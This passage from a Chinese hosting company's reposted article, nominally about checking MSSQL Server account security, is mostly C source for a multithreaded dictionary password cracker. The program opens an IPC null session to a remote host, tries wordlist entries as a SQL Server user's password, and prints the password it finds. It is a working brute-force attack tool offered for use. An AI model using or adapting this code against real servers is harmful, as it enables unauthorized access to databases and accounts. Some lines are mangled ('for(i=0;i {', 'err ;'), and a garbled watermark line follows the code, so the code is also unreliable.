手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网络编程>Mssql>列表

远程检测MSSQLServer账号安全性

来源:互联网 作者:west263.com 时间:2008-04-02
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://连接失败,函数终止
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://连接远程MSSQL Server数据库成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://断开连接
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://释放连接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://释放环境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://计算当前活动线程数量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://假如活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程式结束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//线程句柄
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程式运行的起始和结束时间
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目标地址,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得并检查用户输入的最大线程数量
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://读取字典中的单词到内存中
if(ReadDic(argv[3])!=0)
return 1;
file://和目标机器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://创建信标内核对象,最大资源数量和能够使用的资源数量均为MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://创建事件内核对象[人工重置,初始状态为未通知]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://开始计时
start=clock();
file://开始建立线程探测密码
for(i=0;i {
file://探测密码成功后跳出此循环
if(Cracked==TRUE)
break;
file://显示进度信息
printf("\n[%d/%d] %s -> %s -> %s",i 1,total,target,UserName,dict[i]);
file://创建线程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
file://处理创建线程错误的情况
if(hThread==NULL)
{
err ;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等待事件内核对象通知,最多等待3分钟
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://断开和目标机器的IPC Session
DelIPC(target);
file://探测密码成功后回显信息
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://记时结束
end=clock();
file://转换时间格式
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://显示所用时间
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程式在windows2000,vc 6.0环境下编译通过。
不要命了.chinai tp ow er.comiPmzU


文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!